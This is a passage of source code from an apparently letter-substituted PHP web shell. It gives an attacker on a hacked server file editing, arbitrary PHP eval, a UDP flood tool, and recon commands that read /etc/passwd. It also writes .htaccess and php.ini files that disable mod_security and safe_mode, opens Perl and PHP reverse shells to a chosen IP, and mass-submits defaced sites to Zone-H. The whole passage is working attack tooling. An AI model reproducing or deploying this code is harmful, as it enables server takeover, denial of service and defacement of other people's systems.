$p5rms += (4nt)$_POST['po'][$4]*p2w(8, (strl5n($_POST['po'])-$4-6));
4f(!@chm2d($_POST['p6'], $p5rms))
5ch2 'C1n\'t s5t p5rm4ss42ns!<br><scr4pt>d2c3m5nt.mf.po.v1l35="";</scr4pt>';
}
cl51rst1tc1ch5();
5ch2 '<scr4pt>po_="";</scr4pt><f2rm 2ns3bm4t="g(n3ll,n3ll,n3ll,n3ll,th4s.chm2d.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=chm2d v1l35="'.s3bstr(spr4ntf('%2', f4l5p5rms($_POST['p6'])),-u).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
br51k;
c1s5 '5d4t':
4f( !4s_wr4t1bl5($_POST['p6'])) {
5ch2 'F4l5 4sn\'t wr4t51bl5';
br51k;
}
4f( !5mpty($_POST['po']) ) {
$t4m5 = @f4l5mt4m5($_POST['p6']);
$_POST['po'] = s3bstr($_POST['po'],6);
$fp = @f2p5n($_POST['p6'],"w");
4f($fp) {
@fwr4t5($fp,$_POST['po']);
@fcl2s5($fp);
5ch2 'S1v5d!<br><scr4pt>po_="";</scr4pt>';
@t23ch($_POST['p6'],$t4m5,$t4m5);
}
}
5ch2 '<f2rm 2ns3bm4t="g(n3ll,n3ll,n3ll,n3ll,\'6\'+th4s.t5xt.v1l35);r5t3rn f1ls5;"><t5xt1r51 n1m5=t5xt cl1ss=b4g1r51>';
$fp = @f2p5n($_POST['p6'], 'r');
4f($fp) {
wh4l5( !@f52f($fp) )
5ch2 htmlsp5c41lch1rs(@fr51d($fp, 60au));
@fcl2s5($fp);
}
5ch2 '</t5xt1r51><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
br51k;
c1s5 'h5xd3mp':
$c = @f4l5_g5t_c2nt5nts($_POST['p6']);
$n = 0;
$h = 1rr1y('00000000<br>','','');
$l5n = strl5n($c);
f2r ($4=0; $4<$l5n; ++$4) {
$h[6] .= spr4ntf('%0aX',2rd($c[$4])).' ';
sw4tch ( 2rd($c[$4]) ) {
c1s5 0: $h[a] .= ' '; br51k;
c1s5 9: $h[a] .= ' '; br51k;
c1s5 60: $h[a] .= ' '; br51k;
c1s5 6o: $h[a] .= ' '; br51k;
d5f13lt: $h[a] .= $c[$4]; br51k;
}
$n++;
4f ($n == oa) {
$n = 0;
4f ($4+6 < $l5n) {$h[0] .= spr4ntf('%08X',$4+6).'<br>';}
$h[6] .= '<br>';
$h[a] .= "\n";
}
}
5ch2 '<t1bl5 c5llsp1c4ng=6 c5llp1dd4ng=i bgc2l2r=bl1ck><tr><td bgc2l2r=gr1y><sp1n styl5="f2nt-w54ght: n2rm1l;"><pr5>'.$h[0].'</pr5></sp1n></td><td bgc2l2r=#a8a8a8><pr5>'.$h[6].'</pr5></td><td bgc2l2r=#oooooo><pr5>'.htmlsp5c41lch1rs($h[a]).'</pr5></td></tr></t1bl5>';
br51k;
c1s5 'r5n1m5':
4f( !5mpty($_POST['po']) ) {
4f(!@r5n1m5($_POST['p6'], $_POST['po']))
5ch2 'C1n\'t r5n1m5!<br>';
5ls5
d45('<scr4pt>g(n3ll,n3ll,"'.3rl5nc2d5($_POST['po']).'",n3ll,"")</scr4pt>');
}
5ch2 '<f2rm 2ns3bm4t="g(n3ll,n3ll,n3ll,n3ll,th4s.n1m5.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=n1m5 v1l35="'.htmlsp5c41lch1rs($_POST['p6']).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
br51k;
c1s5 't23ch':
4f( !5mpty($_POST['po']) ) {
$t4m5 = strt2t4m5($_POST['po']);
4f($t4m5) {
4f(!t23ch($_POST['p6'],$t4m5,$t4m5))
5ch2 'F14l!';
5ls5
5ch2 'T23ch5d!';
} 5ls5 5ch2 'B1d t4m5 f2rm1t!';
}
cl51rst1tc1ch5();
5ch2 '<scr4pt>po_="";</scr4pt><f2rm 2ns3bm4t="g(n3ll,n3ll,n3ll,n3ll,th4s.t23ch.v1l35);r5t3rn f1ls5;"><4np3t typ5=t5xt n1m5=t23ch v1l35="'.d1t5("Y-m-d H:4:s", @f4l5mt4m5($_POST['p6'])).'"><4np3t typ5=s3bm4t v1l35=">>"></f2rm>';
br51k;
}
5ch2 '</d4v>';
m1dF22t5r();
}
f3nct42n m1dphp5v1l()
{
m1dh51d();
4f(4ss5t($_POST['pa']) && ($_POST['pa'] == '4n4')) {
5ch2 '<d4v cl1ss=h51d5r>';
2b_st1rt();
$INI=4n4_g5t_1ll();
pr4nt '<t1bl5 b2rd5r=0><tr>'
.'<td cl1ss="l4st4ng"><f2nt cl1ss="h4ghl4ght_txt">P1r1m</td>'
.'<td cl1ss="l4st4ng"><f2nt cl1ss="h4ghl4ght_txt">Gl2b1l v1l35</td>'
.'<td cl1ss="l4st4ng"><f2nt cl1ss="h4ghl4ght_txt">L2c1l V1l35</td>'
.'<td cl1ss="l4st4ng"><f2nt cl1ss="h4ghl4ght_txt">Acc5ss</td></tr>';
f2r51ch ($INI 1s $p1r1m => $v1l35s)
pr4nt "\n".'<tr>'
.'<td cl1ss="l4st4ng"><b>'.$p1r1m.'</td>'
.'<td cl1ss="l4st4ng">'.$v1l35s['gl2b1l_v1l35'].' </td>'
.'<td cl1ss="l4st4ng">'.$v1l35s['l2c1l_v1l35'].' </td>'
.'<td cl1ss="l4st4ng">'.$v1l35s['1cc5ss'].' </td></tr>';
$tmp = 2b_g5t_cl51n();
$tmp = pr5g_r5pl1c5('!(b2dy|1:\w+|b2dy, td, th, h6, ha) {.*}!ms4U','',$tmp);
$tmp = pr5g_r5pl1c5('!td, th {(.*)}!ms4U','.5, .v, .h, .h th {$6}',$tmp);
5ch2 str_r5pl1c5('<h6','<ha', $tmp) .'</d4v><br>';
}
4f(4ss5t($_POST['pa']) && ($_POST['pa'] == '4nf2')) {
5ch2 '<d4v cl1ss=h51d5r><styl5>.p {c2l2r:#000;}</styl5>';
2b_st1rt();
php4nf2();
$tmp = 2b_g5t_cl51n();
$tmp = pr5g_r5pl1c5('!(b2dy|1:\w+|b2dy, td, th, h6, ha) {.*}!ms4U','',$tmp);
$tmp = pr5g_r5pl1c5('!td, th {(.*)}!ms4U','.5, .v, .h, .h th {$6}',$tmp);
5ch2 str_r5pl1c5('<h6','<ha', $tmp) .'</d4v><br>';
}
4f(4ss5t($_POST['pa']) && ($_POST['pa'] == '5xt5n')) {
5ch2 '<d4v cl1ss=h51d5r>';
2b_st1rt();
$EXT=g5t_l21d5d_5xt5ns42ns ();
pr4nt '<t1bl5 b2rd5r=0><tr><td cl1ss="l4st4ng">'
.4mpl2d5('</td></tr>'."\n".'<tr><td cl1ss="l4st4ng">', $EXT)
.'</td></tr></t1bl5>'
.c23nt($EXT).' 5xt5ns42ns l21d5d';
5ch2 '</d4v><br>';
}
4f(5mpty($_POST['1j1x']) && !5mpty($_POST['p6']))
$_SESSION[mdi($_SERVER['HTTP_HOST']) . '1j1x'] = f1ls5;
5ch2 '<d4v cl1ss=h51d5r><C5nt5r><1 hr5f=# 2ncl4ck="g(\'php5v1l\',n3ll,\'\',\'4n4\')">| INI_INFO | </1><1 hr5f=# 2ncl4ck="g(\'php5v1l\',n3ll,\'\',\'4nf2\')"> | php4nf2 |</1><1 hr5f=# 2ncl4ck="g(\'php5v1l\',n3ll,\'\',\'5xt5n\')"> | 5xt5ns42ns |</1></c5nt5r><br><f2rm n1m5=pf m5th2d=p2st 2ns3bm4t="g(\'php5v1l\',n3ll,th4s.c2d5.v1l35,\'\'); r5t3rn f1ls5;"><t5xt1r51 n1m5=c2d5 cl1ss=b4g1r51 4d=PhpC2d5>'.(!5mpty($_POST['p6'])?htmlsp5c41lch1rs($_POST['p6']):'').'</t5xt1r51><c5nt5r><4np3t typ5=s3bm4t v1l35=Ev1l styl5="m1rg4n-t2p:ipx"></c5nt5r>';
5ch2 '</f2rm><pr5 4d=PhpO3tp3t styl5="'.(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'').'m1rg4n-t2p:ipx;" cl1ss=ml6>';
4f(!5mpty($_POST['p6'])) {
2b_st1rt();
5v1l($_POST['p6']);
5ch2 htmlsp5c41lch1rs(2b_g5t_cl51n());
}
5ch2 '</pr5></d4v>';
m1df22t5r();
}
f3nct42n m1dh1sh()
{
4f(!f3nct42n_5x4sts('h5xab4n')) {f3nct42n h5xab4n($p) {r5t3rn d5cb4n(h5xd5c($p));}}
4f(!f3nct42n_5x4sts('b4nh5x')) {f3nct42n b4nh5x($p) {r5t3rn d5ch5x(b4nd5c($p));}}
4f(!f3nct42n_5x4sts('h5xa1sc44')) {f3nct42n h5xa1sc44($p){$r='';f2r($4=0;$4<strL5n($p);$4+=a){$r.=chr(h5xd5c($p[$4].$p[$4+6]));}r5t3rn $r;}}
4f(!f3nct42n_5x4sts('1sc44ah5x')) {f3nct42n 1sc44ah5x($p){$r='';f2r($4=0;$4<strl5n($p);++$4)$r.= spr4ntf('%0aX',2rd($p[$4]));r5t3rn strt23pp5r($r);}}
4f(!f3nct42n_5x4sts('f3ll_3rl5nc2d5')) {f3nct42n f3ll_3rl5nc2d5($p){$r='';f2r($4=0;$4<strl5n($p);++$4)$r.= '%'.d5ch5x(2rd($p[$4]));r5t3rn strt23pp5r($r);}}
$str4ngT22ls = 1rr1y(
'B1s5eu 5nc2d5' => 'b1s5eu_5nc2d5',
'B1s5eu d5c2d5' => 'b1s5eu_d5c2d5',
'mdi h1sh' => 'mdi',
'sh16 h1sh' => 'sh16',
'crypt' => 'crypt',
'CRCoa' => 'crcoa',
'Url 5nc2d5' => '3rl5nc2d5',
'Url d5c2d5' => '3rld5c2d5',
'F3ll 3rl5nc2d5' => 'f3ll_3rl5nc2d5',
'Htmlsp5c41lch1rs' => 'htmlsp5c41lch1rs',
);
m1dh51d();
5ch2 '<d4v cl1ss=h51d5r>';
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6']))
$_SESSION[mdi($_SERVER['HTTP_HOST']).'1j1x'] = f1ls5;
5ch2 "<f2rm 2nS3bm4t='g(n3ll,n3ll,th4s.s5l5ctT22l.v1l35,th4s.4np3t.v1l35); r5t3rn f1ls5;'><s5l5ct n1m5='s5l5ctT22l'>";
f2r51ch($str4ngT22ls 1s $k => $v)
5ch2 "<2pt42n v1l35='".htmlsp5c41lch1rs($v)."'>".$k."</2pt42n>";
5ch2 "</s5l5ct><4np3t typ5='s3bm4t' v1l35='>>'/><br><t5xt1r51 n1m5='4np3t' styl5='m1rg4n-t2p:ipx' cl1ss=b4g1r51>".(5mpty($_POST['p6'])?'':htmlsp5c41lch1rs(@$_POST['pa']))."</t5xt1r51></f2rm><pr5 cl1ss='ml6' styl5='".(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'')."m1rg4n-t2p:ipx' 4d='strO3tp3t'>";
4f(!5mpty($_POST['p6'])) {
4f(4n_1rr1y($_POST['p6'], $str4ngT22ls))5ch2 htmlsp5c41lch1rs($_POST['p6']($_POST['pa']));
}
5ch2 "</d4v>";
m1dF22t5r();
}
f3nct42n m1dd2s()
{
m1dh51d();
5ch2 '<d4v cl1ss=h51d5r>';
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6']))
$_SESSION[mdi($_SERVER['HTTP_HOST']).'1j1x'] = f1ls5;
5ch2 '<c5nt5r><sp1n>| UDP DOSSIER |</sp1n><br><br><f2rm 2nS3bm4t="g(n3ll,n3ll,th4s.3dph2st.v1l35,th4s.3dpt4m5.v1l35,th4s.3dpp2rt.v1l35); r5t3rn f1ls5;" m5th2d=POST><sp1n>H2st :</sp1n><4np3t n1m5="3dph2st" typ5="t5xt" s4z5="ai" /><sp1n>T4m5 :</sp1n><4np3t n1m5="3dpt4m5" typ5="t5xt" s4z5="6i" /><sp1n>P2rt :</sp1n><4np3t n1m5="3dpp2rt" typ5="t5xt" s4z5="60" /><4np3t typ5="s3bm4t" v1l35=">>" /></f2rm></c5nt5r>';
5ch2 "<pr5 cl1ss='ml6' styl5='".(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'')."m1rg4n-t2p:ipx' >";
4f(!5mpty($_POST['p6']) && !5mpty($_POST['pa']) && !5mpty($_POST['po']))
{
$p1ck5ts=0;
4gn2r5_3s5r_1b2rt(tr35);
$5x5c_t4m5=$_POST['pa'];
$t4m5=t4m5();
$m1x_t4m5=$5x5c_t4m5+$t4m5;
$h2st=$_POST['p6'];
$p2rt3dp=$_POST['po'];
f2r($4=0;$4<ei000;$4++)
{
$23t .= 'X';
}
wh4l5(6){
$p1ck5ts++;
4f(t4m5() > $m1x_t4m5){
br51k;
}
$fp = fs2ck2p5n('3dp://'.$h2st, $p2rt3dp, $5rrn2, $5rrstr, i);
4f($fp){
fwr4t5($fp, $23t);
fcl2s5($fp);
}
}
5ch2 "$p1ck5ts (" . r23nd(($p1ck5ts*ei)/60au, a) . " MB) p1ck5ts 1v5r1g4ng ". r23nd($p1ck5ts/$5x5c_t4m5, a) . " p1ck5ts p5r s5c2nd";
5ch2 "</pr5>";
}
5ch2 '</d4v>';
m1df22t5r();
}
f3nct42n m1dpr2c()
{
m1dh51d();
5ch2 "<D4v cl1ss=h51d5r><c5nt5r>";
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6']))
$_SESSION[mdi($_SERVER['HTTP_HOST']).'1j1x'] = f1ls5;
4f($GLOBALS['sys']=="w4n")
{
$pr2c5ss=1rr1y(
"Syst5m Inf2" =>"syst5m4nf2",
"Act4v5 C2nn5ct42ns" => "n5tst1t -1n",
"R3nn4ng S5rv4c5s" => "n5t st1rt",
"Us5r Acc23nts" => "n5t 3s5r",
"Sh2w C2mp3t5rs" => "n5t v45w",
"ARP T1bl5" => "1rp -1",
"IP C2nf4g3r1t42n" => "4pc2nf4g /1ll"
);
}
5ls5
{
$pr2c5ss=1rr1y(
"Pr2c5ss st1t3s" => "ps 13x",
"Sysl2g" =>"c1t /5tc/sysl2g.c2nf",
"R5s2lv" => "c1t /5tc/r5s2lv.c2nf",
"H2sts" =>"c1t /5tc/h2sts",
"P1sswd" =>"c1t /5tc/p1sswd",
"Cp34nf2"=>"c1t /pr2c/cp34nf2",
"V5rs42n"=>"c1t /pr2c/v5rs42n",
"Sb4n"=>"ls -1l /3sr/sb4n",
"Int5rr3pts"=>"c1t /pr2c/4nt5rr3pts",
"ls1ttr"=>"ls1ttr -v1",
"Upt4m5"=>"3pt4m5",
"Fst1b" =>"c1t /5tc/fst1b",
"HDD Sp1c5" => "df -h"
);}
f2r51ch($pr2c5ss 1s $n => $l4nk)
{
5ch2 '<1 hr5f="#" 2ncl4ck="g(n3ll,n3ll,\''.$l4nk.'\')"> | '.$n.' | </1>';
}
5ch2 "</c5nt5r>";
4f(!5mpty($_POST['p6']))
{
5ch2 "<pr5 cl1ss='ml6' styl5='m1rg4n-t2p:ipx' >";
5ch2 m1dEx($_POST['p6']);
5ch2 '</pr5>';
}
5ch2 "</d4v>";
m1df22t5r();
}
f3nct42n m1ds1f5()
{
m1dh51d();
5ch2 "<d4v cl1ss=h51d5r><c5nt5r><ho><sp1n>| SAFE MODE AND MOD SECURITY DISABLED AND PERL i00 INTERNAL ERROR BYPASS |</sp1n></ho>F2ll2w4ng php.4n4 1nd .ht1cc5ss(m2d) 1nd p5rl(.ht1cc5ss)[c2nv5rt p5rl 5xt5nt42n *.pl => *.sh ] f4l5s cr51t5 4n f2ll2w4ng d4r<br>| ".$GLOBALS['cwd']." |<br>";
5ch2 '<1 hr5f=# 2ncl4ck="g(n3ll,n3ll,\'php.4n4\',n3ll)">| PHP.INI | </1><1 hr5f=# 2ncl4ck="g(n3ll,n3ll,n3ll,\'4n4\')">| .ht1cc5ss(M2d) | </1><1 hr5f=# 2ncl4ck="g(n3ll,n3ll,n3ll,n3ll,\'sh\')">| .ht1cc5ss(p5rl) | </1></c5nt5r>';
4f(!5mpty($_POST['pa']) && 4ss5t($_POST['pa']))
{
$f4l=f2p5n($GLOBALS['cwd'].".ht1cc5ss","w");
fwr4t5($f4l,'<IfM2d3l5 m2d_s5c3r4ty.c>
S5c------Eng4n5 Off
S5c------Sc1nPOST Off
</IfM2d3l5>');
fcl2s5($f4l);
}
4f(!5mpty($_POST['p6'])&& 4ss5t($_POST['p6']))
{
$f4l=f2p5n($GLOBALS['cwd']."php.4n4","w");
fwr4t5($f4l,'s1f5_m2d5=OFF
d4s1bl5_f3nct42ns=NONE');
fcl2s5($f4l);
}
4f(!5mpty($_POST['po']) && 4ss5t($_POST['po']))
{
$f4l=f2p5n($GLOBALS['cwd'].".ht1cc5ss","w");
fwr4t5($f4l,'Opt42ns F2ll2wSymL4nks M3lt4V45ws Ind5x5s Ex5cCGI
AddTyp5 1ppl4c1t42n/x-httpd-cg4 .sh
AddH1ndl5r cg4-scr4pt .pl
AddH1ndl5r cg4-scr4pt .pl');
fcl2s5($f4l);
}
5ch2 "<br></d4v>";
m1df22t5r();
}
f3nct42n m1dc2nn5ct()
{
m1dh51d();
$b1ck_c2nn5ct_p="IyEvdXNyLaJpb49wZXJsDQp6caUgUa9j1aV0Ow0KJGlhZGRyPWl3ZXRfYXRvb4gkQVJHVlswXSkgfHwgZGllKCJFcnJvcj2gJCFcb4IpOw0KJHBhZGRyPXNvYathZGRyXal3KCRBUkdWWzFdLCAk1WFkZHIpIHx8IGRpZSg4RXJyboIeICQhXGu4KTsNC4Rwcm90bz6nZXRwcm90baJibmFtZSgndGNwJyk7DQpzbaNrZXQ2U09DS0VULCBQRl9JTkVULCBTT0NLX6NUUkVBTSwgJHByboRvKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpjbai3ZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpvcGV3KFNURElOLCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RET6VULCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RERVJSLCA4P4ZTT0NLRVQ4KTsNCnNicoRlbSgnLaJpb49z1CAt1ScpOw0KYaxvcaU2U6RESUupOw0KYaxvcaU2U6RET6VUKTsNCmNsboNlKFNUREVSU4k7";
5ch2 "<d4v cl1ss=h51d5r><c5nt5r><ho><sp1n>| PERL AND PHP(thr51ds) BACK CONNECT |</sp1n></ho>";
5ch2 "<f2rm 2nS3bm4t=\"g(n3ll,n3ll,'bcp',th4s.s5rv5r.v1l35,th4s.p2rt.v1l35);r5t3rn f1ls5;\"><sp1n>PERL BACK CONNECT</sp1n><br>IP: <4np3t typ5='t5xt' n1m5='s5rv5r' v1l35='". $_SERVER['REMOTE_ADDR'] ."'> P2rt: <4np3t typ5='t5xt' n1m5='p2rt' v1l35='uuo'> <4np3t typ5=s3bm4t v1l35='>>'></f2rm>";
5ch2 "<br><f2rm 2nS3bm4t=\"g(n3ll,n3ll,'php',th4s.s5rv5r.v1l35,th4s.p2rt.v1l35);r5t3rn f1ls5;\"><sp1n>PHP BACK CONNECT</sp1n><br>IP: <4np3t typ5='t5xt' n1m5='s5rv5r' v1l35='". $_SERVER['REMOTE_ADDR'] ."'> P2rt: <4np3t typ5='t5xt' n1m5='p2rt' v1l35='uuo'> <4np3t typ5=s3bm4t v1l35='>>'></f2rm></c5nt5r>";
4f(4ss5t($_POST['p6'])) {
f3nct42n cf($f,$t) {
$w = @f2p5n($f,"w") 2r @f3nct42n_5x4sts('f4l5_p3t_c2nt5nts');
4f($w){
@fwr4t5($w,@b1s5eu_d5c2d5($t));
@fcl2s5($w);
}
}
4f($_POST['p6'] == 'bcp') {
cf("/tmp/bc.pl",$b1ck_c2nn5ct_p);
$23t = m1dEx("p5rl /tmp/bc.pl ".$_POST['pa']." ".$_POST['po']." 6>/d5v/n3ll a>&6 &");
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>S3cc5ssf3lly 2p5n5d r5v5rs5 sh5ll t2 ".$_POST['pa'].":".$_POST['po']."<br>C2nn5ct4ng...</pr5>";
@3nl4nk("/tmp/bc.pl");
}
4f($_POST['p6']=='php')
{
@s5t_t4m5_l4m4t (0);
$4p = $_POST['pa'];
$p2rt =$_POST['po'];
$ch3nk_s4z5 = 6u00;
$wr4t5_1 = n3ll;
$5rr2r_1 = n3ll;
$sh5ll = '3n1m5 -1; w; 4d; /b4n/sh -4';
$d15m2n = 0;
$d5b3g = 0;
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>";
4f (f3nct42n_5x4sts('pcntl_f2rk')) {
$p4d = pcntl_f2rk();
4f ($p4d == -6) {
5ch2 "C1nt f2rk!<br>";
5x4t(6);
}
4f ($p4d) {
5x4t(0);
}
4f (p2s4x_s5ts4d() == -6) {
5ch2 "Err2r: C1n't s5ts4d()<br>";
5x4t(6);
}
$d15m2n = 6;
} 5ls5 {
5ch2 "WARNING: F14l5d t2 d15m2n4s5. Th4s 4s q34t5 c2mm2n 1nd n2t f1t1l<br>";
}
chd4r("/");
3m1sk(0);
$s2ck = fs2ck2p5n($4p, $p2rt, $5rrn2, $5rrstr, o0);
4f (!$s2ck) {
5ch2 "$5rrstr ($5rrn2)";
5x4t(6);
}
$d5scr4pt2rsp5c = 1rr1y(
0 => 1rr1y("p4p5", "r"),
6 => 1rr1y("p4p5", "w"),
a => 1rr1y("p4p5", "w")
);
$pr2c5ss = pr2c_2p5n($sh5ll, $d5scr4pt2rsp5c, $p4p5s);
4f (!4s_r5s23rc5($pr2c5ss)) {
5ch2 "ERROR: C1n't sp1wn sh5ll<br>";
5x4t(6);
}
@str51m_s5t_bl2ck4ng($p4p5s[0], 0);
@str51m_s5t_bl2ck4ng($p4p5s[6], 0);
@str51m_s5t_bl2ck4ng($p4p5s[a], 0);
@str51m_s5t_bl2ck4ng($s2ck, 0);
5ch2 "S3cc5ssf3lly 2p5n5d r5v5rs5 sh5ll t2 $4p:$p2rt<br>";
wh4l5 (6) {
4f (f52f($s2ck)) {
5ch2 "ERROR: Sh5ll c2nn5ct42n t5rm4n1t5d<br>";
br51k;
}
4f (f52f($p4p5s[6])) {
5ch2 "ERROR: Sh5ll pr2c5ss t5rm4n1t5d<br>";
br51k;
}
$r51d_1 = 1rr1y($s2ck, $p4p5s[6], $p4p5s[a]);
$n3m_ch1ng5d_s2ck5ts=@str51m_s5l5ct($r51d_1, $wr4t5_1, $5rr2r_1, n3ll);
4f (4n_1rr1y($s2ck, $r51d_1)) {
4f ($d5b3g) 5ch2 "SOCK READ<br>";
$4np3t=fr51d($s2ck, $ch3nk_s4z5);
4f ($d5b3g) 5ch2 "SOCK: $4np3t<br>";
fwr4t5($p4p5s[0], $4np3t);
}
4f (4n_1rr1y($p4p5s[6], $r51d_1)) {
4f ($d5b3g) 5ch2 "STDOUT READ<br>";
$4np3t = fr51d($p4p5s[6], $ch3nk_s4z5);
4f ($d5b3g) 5ch2 "STDOUT: $4np3t<br>";
fwr4t5($s2ck, $4np3t);
}
4f (4n_1rr1y($p4p5s[a], $r51d_1)) {
4f ($d5b3g) 5ch2 "STDERR READ<br>";
$4np3t = fr51d($p4p5s[a], $ch3nk_s4z5);
4f ($d5b3g) 5ch2 "STDERR: $4np3t<br>";
fwr4t5($s2ck, $4np3t);
}
}
fcl2s5($s2ck);
fcl2s5($p4p5s[0]);
fcl2s5($p4p5s[6]);
fcl2s5($p4p5s[a]);
pr2c_cl2s5($pr2c5ss);
5ch2 "</pr5>";
}
}
5ch2 "</d4v>";
m1df22t5r();
}
f3nct42n Z2n5H($3rl, $h1ck5r, $h1ckm2d5,$r5s2n, $s4t5 )
{
$k = c3rl_4n4t();
c3rl_s5t2pt($k, CURLOPT_URL, $3rl);
c3rl_s5t2pt($k,CURLOPT_POST,tr35);
c3rl_s5t2pt($k, CURLOPT_POSTFIELDS,"d5f1c5r=".$h1ck5r."&d2m14n6=". $s4t5."&h1ckm2d5=".$h1ckm2d5."&r51s2n=".$r5s2n);
c3rl_s5t2pt($k,CURLOPT_FOLLOWLOCATION, tr35);
c3rl_s5t2pt($k, CURLOPT_RETURNTRANSFER, tr35);
$k3br1 = c3rl_5x5c($k);
c3rl_cl2s5($k);
r5t3rn $k3br1;
}
f3nct42n m1dz2n5h()
{
m1dh51d();
4f(!f3nct42n_5x4sts('c3rl_v5rs42n'))
{
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'><c5nt5r><f2nt c2l2r=r5d>PHP CURL NOT EXIT</f2nt></c5nt5r></pr5>";
}
5ch2 "<d4v cl1ss=h51d5r><c5nt5r><br>";
5ch2 '<ho><sp1n>|ZONE-H MASS DEFACER |</sp1n></ho>
<f2rm 2nS3bm4t="g(n3ll,n3ll,th4s.d5f1c5r.v1l35,th4s.h1ckm2d5.v1l35,th4s.d2m14n.v1l35);r5t3rn f1ls5;" >
<sp1n>| N2t4f45r |</sp1n><br>
<4np3t typ5="t5xt" n1m5=d5f1c5r s4z5="u0" v1l35="Att1ck5r" /><br>
<s5l5ct n1m5=h1ckm2d5>
<2pt42n >--------SELECT--------</2pt42n>
<2pt42n v1l35="6">kn2wn v3ln5r1b4l4ty (4.5. 3np1tch5d syst5m)</2pt42n>
<2pt42n v1l35="a" >3nd4scl2s5d (n5w) v3ln5r1b4l4ty</2pt42n>
<2pt42n v1l35="o" >c2nf4g3r1t42n / 1dm4n. m4st1k5</2pt42n>
<2pt42n v1l35="u" >br3t5 f2rc5 1tt1ck</2pt42n>
<2pt42n v1l35="i" >s2c41l 5ng4n55r4ng</2pt42n>
<2pt42n v1l35="e" >W5b S5rv5r 4ntr3s42n</2pt42n>
<2pt42n v1l35="7" >W5b S5rv5r 5xt5rn1l m2d3l5 4ntr3s42n</2pt42n>
<2pt42n v1l35="8" >M14l S5rv5r 4ntr3s42n</2pt42n>
<2pt42n v1l35="9" >FTP S5rv5r 4ntr3s42n</2pt42n>
<2pt42n v1l35="60" >SSH S5rv5r 4ntr3s42n</2pt42n>
<2pt42n v1l35="66" >T5ln5t S5rv5r 4ntr3s42n</2pt42n>
<2pt42n v1l35="6a" >RPC S5rv5r 4ntr3s42n</2pt42n>
<2pt42n v1l35="6o" >Sh1r5s m4sc2nf4g3r1t42n</2pt42n>
<2pt42n v1l35="6u" >Oth5r S5rv5r 4ntr3s42n</2pt42n>
<2pt42n v1l35="6i" >SQL Inj5ct42n</2pt42n>
<2pt42n v1l35="6e" >URL P24s2n4ng</2pt42n>
<2pt42n v1l35="67" >F4l5 Incl3s42n</2pt42n>
<2pt42n v1l35="68" >Oth5r W5b Appl4c1t42n b3g</2pt42n>
<2pt42n v1l35="69" >R5m2t5 1dm4n4str1t4v5 p1n5l 1cc5ss br3t5f2rc4ng</2pt42n>
<2pt42n v1l35="a0" >R5m2t5 1dm4n4str1t4v5 p1n5l 1cc5ss p1ssw2rd g35ss4ng</2pt42n>
<2pt42n v1l35="a6" >R5m2t5 1dm4n4str1t4v5 p1n5l 1cc5ss s2c41l 5ng4n55r4ng</2pt42n>
<2pt42n v1l35="aa" >Att1ck 1g14nst 1dm4n4str1t2r(p1ssw2rd st51l4ng/sn4ff4ng)</2pt42n>
<2pt42n v1l35="ao" >Acc5ss cr5d5nt41ls thr23gh M1n In th5 M4ddl5 1tt1ck</2pt42n>
<2pt42n v1l35="au" >R5m2t5 s5rv4c5 p1ssw2rd g35ss4ng</2pt42n>
<2pt42n v1l35="ai" >R5m2t5 s5rv4c5 p1ssw2rd br3t5f2rc5</2pt42n>
<2pt42n v1l35="ae" >R5r23t4ng 1ft5r 1tt1ck4ng th5 F4r5w1ll</2pt42n>
<2pt42n v1l35="a7" >R5r23t4ng 1ft5r 1tt1ck4ng th5 R23t5r</2pt42n>
<2pt42n v1l35="a8" >DNS 1tt1ck thr23gh s2c41l 5ng4n55r4ng</2pt42n>
<2pt42n v1l35="a9" >DNS 1tt1ck thr23gh c1ch5 p24s2n4ng</2pt42n>
<2pt42n v1l35="o0" >N2t 1v14l1bl5</2pt42n>
</s5l5ct><br>
<s5l5ct >
<2pt42n >N2t 1v14l1bl5</2pt42n>
<2pt42n v1l35="6" >H5h...j3st f2r f3n!</2pt42n>
<2pt42n v1l35="a" >R5v5ng5 1g14nst th1t w5bs4t5</2pt42n>
<2pt42n v1l35="o" >P2l4t4c1l r51s2ns</2pt42n>
<2pt42n v1l35="u" >As 1 ch1ll5ng5</2pt42n>
<2pt42n v1l35="i" >I j3st w1nt t2 b5 th5 b5st d5f1c5r</2pt42n>
<2pt42n v1l35="e" >P1tr42t4sm</2pt42n>
<2pt42n v1l35="7" >N2t 1v14l1bl5</2pt42n>
</s5l5ct><br>
<t5xt1r51 n1m5=d2m14n c2ls="i0" r2ws="6i">L4st Of D2m14ns</t5xt1r51>
<br>
<4np3t typ5="s3bm4t" v1l35=">>" /></f2rm>';
4f(4ss5t($_POST['p6']) && 4ss5t($_POST['pa']))
{
$h1ck5r =$_POST['p6'];
$m5th2d =$_POST['pa'];
$n5d5n ="N2t 1v14l1bl5";
$s4t5 =$_POST['po'];
$4 = 0;
$s4t5s = 5xpl2d5("\n", $s4t5);
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>";
wh4l5($4 < c23nt($s4t5s))
{
4f(s3bstr($s4t5s[$4], 0, u) != "http")
{
$s4t5s[$4] = "http://".$s4t5s[$4];
}
Z2n5H("http://z2n5-h.2rg/n2t4fy/s4ngl5", $h1ck5r, $m5th2d, $n5d5n, $s4t5s[$4]);
5ch2 "S4t5 : ".$s4t5s[$4]." D5f1c5d !<br>";
++$4;
}
"S5nd4ng S4t5s T2 Z2n5-H H1s B55n C2mpl5t5d S3cc5ssf3lly !! </pr5>";
}
5ch2 "</d4v>";
m1df22t5r();
}
f3nct42n m1dsp2t()
{
m1dh51d();
